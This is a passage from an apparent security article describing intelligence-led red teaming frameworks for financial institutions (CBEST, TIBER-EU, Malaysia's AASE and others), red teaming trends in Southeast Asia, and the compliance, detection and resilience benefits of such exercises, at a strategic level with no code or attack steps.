Financial institutions are considered part of a nation’s critical infrastructure. A successful attack on a major bank or stock exchange could have systemic impacts. Thus, regulators and central banks have developed intelligence-led red teaming frameworks to regularly test and improve the resilience of key financial entities under realistic threat conditions.

Some notable frameworks:

• CBEST (UK) – Launched by the Bank of England in 2014, CBEST was a pioneer in this space. It requires critical financial institutions to undergo red team tests conducted by accredited providers, using threat intel from government and commercial sources to shape the scenario. A CBEST test is typically a multi-month engagement where first a threat intelligence agency identifies likely threat actors and scenarios (e.g., a nation-state aiming to disrupt a payment system), then a red team emulates that, while a “white team” oversees and ensures safety. Results are reported to both the firm and the regulator. The goal is not a pass/fail, but to identify weaknesses and remediate them. One outcome of CBEST has been improved communication between banks and the Bank of England on cyber threats, and many lessons shared collectively (without naming institutions) to uplift the whole sector.
• TIBER-EU – Standing for Threat Intelligence Based Ethical Red teaming, TIBER is essentially CBEST taken European. The European Central Bank published the TIBER-EU framework in 2018 to harmonize such testing across EU countries. Countries like the Netherlands (TIBER-NL), Germany, and others have adopted it. It’s similar in concept: a regulated process involving threat intelligence and red teaming. One difference is TIBER is flexible to allow cross-border recognition – if a bank undergoes a TIBER test in one country, others should accept it, to avoid duplicate tests for international banks. TIBER tests usually produce findings that the regulator and the tested entity discuss, and possibly sector-wide advisories if common issues are found.
• FEER (Saudi Arabia) – Financial Entities Ethical Red Teaming, by the Saudi Arabian Monetary Authority, is another variant. And iCAST (Hong Kong) – Intelligence-led Cyber Attack Simulation Testing – rolled out by the HKMA (Hong Kong Monetary Authority) around 2016. C-RAF (Singapore) – not exactly a red team framework, but the Cyber Risk Assessment Framework by MAS (Monetary Authority of Singapore) includes provisions for scenario-based testing. Singapore has since developed Adversarial Attack Simulation Exercises (AASE) as mentioned in Bank Negara Malaysia’s RMiT guidelines and ABS (Association of Banks in Singapore) red team guidelines.
• Bank Negara Malaysia RMiT Red Teaming – Malaysia’s central bank (BNM) updated its Risk Management in Technology (RMiT) policy to emphasize red team assessments for banks. A case study by AKATI Sekurity described how a Malaysian financial institution used a red team exercise to validate its RMiT compliance and found significant gaps despite formal policies. The exercise had phases (recon, phishing, exploitation, etc.) and underscored that real security requires proof, not just checklists – which is exactly what red teaming provides.

Key aspects of financial sector red teaming:

• They are threat-intel driven: The scenarios are crafted to mimic known adversaries that target financial systems. For banks, that could be cybercriminal groups trying to steal funds (as happened in the Bangladesh Bank heist), or state-sponsored hackers aiming to disrupt markets. So the red team might simulate, say, an attacker trying to SWIFT transfer money out, or corrupt transaction records, or get unauthorized trading access. Threat intel ensures the red team doesn’t test irrelevant scenarios; it’s about relevant threats (e.g., a retail bank might focus on fraud and account takeover scenarios, whereas a stock exchange might focus on DDoS and data integrity attacks).
• They involve end-to-end engagement: The frameworks usually involve multiple stakeholders – the regulator, an external threat intelligence provider, the red team provider, the target institution’s white team, etc. They may have formal steps: scoping, intelligence gathering, test execution, reporting, and remediation review. This ensures consistency and that results are handled properly (e.g., regulators might want to ensure that when a critical issue is found, the institution immediately addresses it rather than waiting for final report).
• No tipping off defenders: A principle of these tests is that except the few in the white team, the organization’s defenders should not know it’s a test. This is to truly test incident response. Some frameworks permit a “green team” or trusted insider at the regulator’s side (like SAMA’s green team) who ensures fairness. If the defenders do catch on, they usually have a protocol to confirm if it might be an exercise (via the white team) to prevent unnecessary escalation. But often, defenders don’t catch it – which is itself a finding.
• Comprehensive scope: A red team test in finance often covers the entire institution as a target. Unlike a pen test which might target just the web app or network, here anything is in play: physical branches, employees, third-party connections, etc., as long as it’s realistic for the scenario. The reason is attackers wouldn’t neatly stay in one silo. For instance, if internet-facing assets are strong but employees are susceptible, the red team will go for employees. That cross-domain nature is crucial to reveal security gaps at the seams (like where IT security meets physical security, or where external vendor access connects to internal network).
• Regulatory oversight and learning: The results of these tests aren’t just for the bank; regulators aggregate insights across banks. For example, after several CBEST tests, common issues might be noted (say many banks had trouble detecting attacks on SWIFT systems). Regulators can then issue guidance or require controls accordingly. The tests also serve as a measure of sector resilience – e.g., if none of the banks can detect a certain attack technique, that’s a systemic risk to address. Importantly, regulators emphasize these are not pass/fail; a bank isn’t punished for having findings. It’s expected to have findings, and success is measured by how they fix them after.

Benefits specific to financial orgs:

• Regulatory Compliance: Beyond the requirement itself, going through these exercises often satisfies testing requirements of multiple regulations. It also prepares the institution for potential audits or real incidents by sharpening their response processes.
• Protecting Customer Trust: Banks hold sensitive data and money. A red team test can show whether customer data could be at risk or if funds could be illegally moved, and that information is used to prevent a real incident that would damage trust and incur liability.
• Improving Incident Response (IR): Banks usually have SOCs and IR teams. Red teaming puts them to the test. Many banks have improved their monitoring by adding specific threat hunting based on previous red team attempts. Over time, as banks do repeated tests (some countries mandate a cycle, like every 3 years for CBEST), they should demonstrate progress – e.g., the latest test took longer or was detected earlier.

One practical example: in an EU country’s TIBER test, the red team may simulate an insider threat because threat intel says rogue employees working with hackers is a scenario. They might see if they can bribe or trick an employee to give up credentials. Such aspects go beyond typical IT testing and raise awareness at the board level about insider risk controls, not just external hacking.

Red Teaming in Southeast Asia: Trends and Implications

Southeast Asia (SEA) has seen a surge in cyber incidents over the past decade, targeting banks, government, and critical infrastructure. Governments and industries in the region are responding by elevating their cybersecurity requirements, and red teaming is becoming an important part of that.

Southeast Asian financial institutions have been influenced by global frameworks like CBEST/TIBER but also have local context:

• Singapore’s MAS has encouraged threat-based penetration testing for its banks through guidelines. The Association of Banks in Singapore published a red teaming toolkit in 2018, helping banks plan such exercises. Given Singapore’s position as a financial hub, it aligns with global standards quickly.
• Malaysia’s BNM explicitly included red team exercises in the 2019 RMiT policy update. Banks are expected to do Adversarial Attack Simulation Exercises (AASE) periodically, often with scenarios tied to threats relevant to Malaysian banks (which could include both cybercrime and potential nation-state threats).
• Indonesia, Thailand, and others are also moving in this direction, though perhaps at different paces. Many big SEA banks are multinational or have correspondents that require strong security, so they adopt these practices as a matter of business prudence even before local regulators demand it.

Beyond finance: Other sectors in SEA such as telecommunications, energy, and government agencies have begun to use red teaming to assess their security:

• Telecom providers face threats to their networks (which could intercept communications). A red team might attempt to hack into core network elements or customer data systems. Telecoms often have vast infrastructure and customer touchpoints, so an exercise could involve something like simulating SIM swap fraud or compromising a telecom’s internal systems to manipulate billing or intercept OTP messages (which has big implications for banking fraud).
• Government agencies in some SEA countries have internal “cyber teams” that do red teaming, recognizing the threat of espionage. For example, they might test if they can breach one ministry and pivot to another, reflecting how an APT might move laterally across government networks.
• Critical Infrastructure (CNI): The Singapore Cybersecurity Act identifies CII sectors (energy, water, healthcare, etc.) and many of those are starting to do red team drills, often coordinated via the national cybersecurity agency. CII red teaming often focuses on resilience – e.g., can an attacker cause an outage or safety incident? This might involve testing both IT and OT (Operational Technology) systems. Southeast Asia has had some incidents (like attempts on power grids), and thus, interest in realistic simulations is up.

Cultural and regional nuances:

• Social engineering can play on local contexts. For instance, a phishing lure in SEA might impersonate a popular messaging platform (WhatsApp, WeChat depending on country) or exploit common regional events (an email about a government subsidy scheme, etc.). Red teams in SEA tailor their pretexts to what employees in that region expect. Language can be a factor; phishing in the local language (Bahasa Indonesia/Melayu, Thai, Vietnamese, etc.) is more convincing, so capable red teams bring language skills or consult to craft those.
• In-person tactics may vary: In some SEA cities, ID checks at office buildings are strict, but people might be very polite and not question someone who appears authoritative. Red teamers have impersonated auditors or high-ranking officials to get physical access in some cases. The human element and how people respond to authority or courtesy can differ culturally, and red teams factor that in.
• Legal considerations: Different countries have different laws about unauthorized computer access, even in tests. Red team operations in SEA need careful legal scoping and often government knowledge/permission if they might break local law definitions (e.g., an aggressive social engineering tactic could be legally sensitive). Frameworks like AASE help because they are endorsed by regulators, giving cover for the testing.

Implications and improvements in SEA:

• Early adopters in SEA (like Singapore’s big banks) have reported significant improvements after introducing red teaming. They found gaps in incident response which they fixed by more training and better SOC technologies (like richer endpoint logging). One bank’s CISO noted that their first red team test was humbling – the team got all the way to critical assets with minimal alerts – but by the second test a year later, the SOC caught them in an early phase, which they considered a major success.
• Red teaming also has driven collaboration in SEA’s security community. For example, banks via the ASEAN Financial Innovation Network share some threat intel and may share lessons from red team exercises anonymously. This community approach means if one bank’s red team uncovers a new attack technique, others can learn and prepare (similar to FS-ISAC information sharing).
• Skill development: The rise of red teaming has spurred growth of local talent and firms offering these services in SEA. That helps the broader ecosystem – those skills often loop back into better defensive knowledge in the region. Governments have even run public “cyber drills” involving multiple companies to simulate large-scale incidents, effectively a multi-organization red/blue exercise.

In conclusion, in industries like finance and in forward-leaning regions like parts of Southeast Asia, red teaming is becoming embedded in the security lifecycle. It’s moving from a novel practice to a standard expectation for critical organizations. The trend is clear: more regulators globally will push critical sectors to perform regular red team simulations, and companies that want to lead on security are voluntarily doing them even without mandates.

Now, let’s step back and consider the overarching benefits of red teaming for any organization, tying into those industry specifics: how does red teaming contribute to compliance, to better detection and response, to overall resilience, and to raising an organization’s security maturity level.

Strengthening Compliance, Detection, Resilience, and Security Maturity with Red Teaming

Beyond uncovering technical vulnerabilities, red teaming delivers broad benefits that reinforce an organization’s overall security program. Let’s examine how:

• Compliance and Regulatory Assurance: Many industries have compliance mandates for regular security testing (PCI DSS, ISO 27001, NIST CSF, GDPR, etc.). While these often require penetration testing or risk assessments, red teaming takes it a step further by providing an evidence-based stress test of security controls. Incorporating red team exercises can help meet regulatory expectations – for example, financial regulators worldwide now expect threat-based testing (CBEST, TIBER, iCAST). Red team reports can demonstrate to auditors and regulators that the organization not only checks the compliance boxes but actively challenges its defenses against advanced threats. This proactive stance can satisfy requirements for regular testing, incident response drills, and continuous improvement. In sectors like finance and healthcare where protecting customer data is legally mandated (GLBA, HIPAA), a successful red team exercise showing that data could be accessed will trigger immediate remediation – thus helping the organization avoid compliance violations by fixing issues before a real breach occurs. In short, red teaming validates whether compliance controls are truly effective or just paperwork. It often highlights gaps between policy and practice, allowing the organization to close those gaps and prove “security in depth” to stakeholders. Some organizations even use red team results as part of their certification audits, as it provides concrete proof of security measures (or candid areas to bolster).
• Detection and Response Improvements: One of the most valuable outcomes of red teaming is the enhancement of the blue team’s detection and incident response capabilities. Every red team engagement is effectively a live-fire exercise for the SOC and IR team. The post-engagement debrief pinpoints exactly where attacks went unnoticed or uncontained. These insights feed directly into tuning SIEM use cases, EDR rules, and response playbooks. For example, if the red team used a new PowerShell-based technique that evaded all alerts, the detection engineers can create a new rule for that behavior going forward. If the SOC received an alert but didn’t recognize its significance or escalate (perhaps because it was buried among false positives), that indicates a need to fine-tune alerting thresholds or improve analyst training. Over time, organizations that regularly conduct red teaming often develop far more nuanced and robust detection capabilities. They might incorporate MITRE ATT&CK mappings from red team reports to methodically expand their coverage – e.g., ensuring they have alerts for all the techniques a red team (or real threat actor) has used against them. Red teaming also tests the incident response process end-to-end: Did the team follow the correct steps? Was communication to leadership timely? Were containment actions effective or did the red team circumvent them? By identifying weaknesses (maybe the IR team didn’t check firewall logs that would have revealed exfiltration, or they took too long to reset compromised accounts), the organization can drill those scenarios and be better prepared for the real thing. Essentially, red teaming turns detection/response from a theoretical capability into a practiced skill, often accelerating improvements that would otherwise take much longer. Many companies observe that after a few red team cycles, their mean time to detect and respond to incidents drops significantly – a critical metric for limiting breach damage.
• Resilience and Continuity Testing: Cyber resilience is the ability to continue critical operations during and after a cyberattack. Red teaming inherently tests aspects of resilience. For instance, if the red team targets a core business service (like a transaction system, manufacturing process, or cloud environment), it tests whether the organization can detect and isolate the threat before it disrupts operations. Even if operations aren’t actually disrupted in the test (since red teams avoid causing outages), the exercise can reveal resilience gaps. For example, the red team might demonstrate they could have deployed ransomware enterprise-wide – a resilience nightmare – which prompts the company to implement better network segmentation and offline backups (classic resilience measures). Another angle is testing organizational response under pressure: how well do different teams coordinate when faced with a multi-faceted attack? Red team exercises can involve simultaneous vectors (a physical breach coupled with a network attack) to see if security teams handle the chaos effectively. The lessons learned directly feed into improving cyber crisis management. Some organizations use red teaming to validate their business continuity plans: if an attack takes System A down, is there an alternative way to operate? A red team might simulate taking over a critical system, forcing the team to enact their continuity plan (perhaps switching to a manual process or a backup system). How quickly and smoothly that happens in the exercise is invaluable feedback. In summary, red teaming can spotlight single points of failure and test whether the organization’s defensive depth can absorb an attack without catastrophic impact. Post-exercise, companies often strengthen their backup processes, practice failover procedures, and invest in resilience enhancements (like DDoS protection or rapid rebuild capabilities) as a direct result of red team findings.
• Measuring and Improving Security Maturity: Red teaming is sometimes described as a “cyber maturity exam.” It provides a frank assessment of where an organization stands on the security maturity curve. An organization at a low maturity level might experience a red team engagement where the attackers breeze through undetected and achieve all objectives – a sign that basics (like monitoring, patching, least privilege) need work. A more mature organization might still have the red team break in, but perhaps they catch them faster or limit the damage. By conducting periodic red team exercises (say annually or bi-annually), organizations can track their improvement over time. Many use metrics like Time to Detect, Time to Contain, and Percent of Attack Paths Detected as key performance indicators for security teams. If a year ago it took 10 days for the SOC to notice the red team and this year they caught them in 2 days, that’s tangible progress in capability. Red teaming also encourages a culture of continuous improvement and proactivity. Instead of a checkbox approach (“we did our annual pen test, we’re fine”), teams shift to a mindset of hunting for threats and anticipating attackers’ moves. This adversarial mindset permeates other areas too – developers might be more security-conscious (“could our app be used as a foothold? Let’s threat model it”), IT admins may practice better credential hygiene (knowing a red team will attempt to exploit any sloppiness), and executives gain a better understanding of cyber risk in real terms (moving beyond abstract heat maps to concrete “here’s how we could be breached” scenarios). In effect, red teaming can elevate security from an IT issue to a business-wide priority, as the dramatic narratives of the exercises resonate with leadership. It teaches that security is not static – adversaries evolve, so defenses must as well. Organizations at high maturity even integrate red teaming with development (DevSecOps) and risk management processes. For example, outcomes from red team tests are fed into enterprise risk registers and used to update training programs, and new system designs might be reviewed by internal red teamers before deployment. This leads to a virtuous cycle where each red team test makes the organization appreciably stronger and more prepared.

Fostering a Security Culture: One often overlooked benefit is the effect on people outside the security team. When employees learn that a red team test occurred (“remember that weird email? That was our team testing us”), it can reinforce the lessons from security awareness training in a very real way. It’s one thing to attend annual phishing training, it’s another to find out that an exercise actually fooled some colleagues into bad clicks – it adds urgency to the need to be vigilant. Some companies share sanitized red team stories internally, which, aside from being interesting, help personalize the abstract threat of “hackers”. It’s no longer if but when an attack could happen, and everyone has a role in spotting and stopping it. Thus, red teaming can galvanize broader support for security initiatives (users and IT staff alike become more cooperative in, say, adopting MFA or accepting tighter controls, having seen why they’re needed).

In sum, red teaming acts as a catalyst that pushes an organization’s security posture from reactive to proactive. It aligns well with modern security frameworks that emphasize not just prevention, but timely detection, response, and recovery – the core of resilience. By regularly subjecting yourself to real-world attack simulations, you build “muscle memory” to deal with incidents, much like firefighters doing drills. When a real incident occurs, there’s far less panic and chaos, because the team has effectively “seen it before” during a red team exercise and learned from mistakes in a consequence-free environment.

Conclusion: Embracing Red Teaming as a Security Essential

In a threat landscape where breaches are not a question of if but when, red teaming has proven to be one of the most impactful practices an organization can adopt to fortify its cybersecurity. It provides an unvarnished look at your defenses through the eyes of an attacker, often revealing that the emperor has no clothes – but also showing a path to remediate those exposures before real adversaries exploit them. What makes red teaming so powerful is its realism: it doesn’t just ask “Are we compliant with best practices?” but rather “Can we survive a coordinated, determined attack, and how well would we respond?” The answers to those questions are invaluable for guiding cybersecurity investments and strategies.

For IT security professionals and CISOs, red teaming offers a wealth of benefits:

• It validates your security controls (or shows their failure) under real conditions, helping prioritize fixes for the most dangerous weaknesses.
• It trains your defensive team in a way no classroom exercise can, by putting them in the middle of a simulated crisis and then helping them improve from that experience.
• It provides measurable outcomes and metrics that can be reported to the board: e.g., “Last year our detection rate was X, this year we improved to Y, and our response time dropped by 50% as evidenced in the latest red team drill.”
• It keeps the security program from growing complacent. Attack techniques evolve rapidly (think of new threat trends like supply chain attacks or cloud-focused breaches) – regular red teaming ensures you’re testing against the latest tactics, not yesterday’s threats.

Implementing red teaming does require commitment. It’s resource-intensive and sometimes comes with difficult lessons (no one likes to see a report that their “crown jewels” were wide open to hackers). But the organizations that embrace those lessons come out far stronger. Over time, the goal isn’t to achieve a perfect score where the red team finds nothing – that’s unrealistic. The goal is to reach a point where your detection and response are so effective that even if a red team (or real attacker) gets in, they are uncovered and contained swiftly, minimizing impact. It’s about building confidence in your cyber defenses through continuous validation.

For those just starting, you can begin with scoped red team exercises or even purple team workshops (collaborative red/blue sessions) to build momentum. As maturity grows, move to full-scope, no-notice red team operations. Ensure you rotate scenarios to cover different threat types – one exercise might emulate a financial fraud cybercriminal, the next an espionage-focused APT, the next an insider threat – to truly test all dimensions of your security. Integrate the findings into every facet of your security roadmap. And importantly, celebrate the improvements: every finding fixed and every attack thwarted in a simulation is one less weakness for real adversaries to exploit.

In Southeast Asia and globally, we see red teaming becoming a staple of cyber risk management, especially in critical sectors. The trend is clear: regulators and industry leaders view it as the best way to gauge and elevate readiness against sophisticated threats. Forward-leaning organizations are even sharing anonymized red team learnings amongst themselves as part of community defense, recognizing that we face common enemies.

Ultimately, red teaming instills a mindset that security is a continuous journey, not a destination. It keeps us humble – no matter how secure we think we are, there’s always something we didn’t consider – and it keeps us agile – ready to adapt defenses as attackers shift tactics. In the face of ever-evolving cyber threats, red teaming is the practice that keeps you one step ahead of the adversary, turning the unknown unknowns into known quantities you can address.

In conclusion, adopting a robust red teaming program is no longer just an option for high-security environments; it’s becoming a security best practice for organizations of all sizes that are serious about protecting their assets and customers. It offers a technical but conversational way for security teams to engage leadership: instead of fear-based hypotheticals, you can say “Let us show you what could happen and then let’s fix it together.” The result is a more cyber-resilient organization that can face advanced threats with confidence. By embracing red teaming, you not only harden your defenses – you also cultivate a culture of vigilance and continuous improvement that is the hallmark of truly mature cybersecurity organizations.

Frequently Asked Questions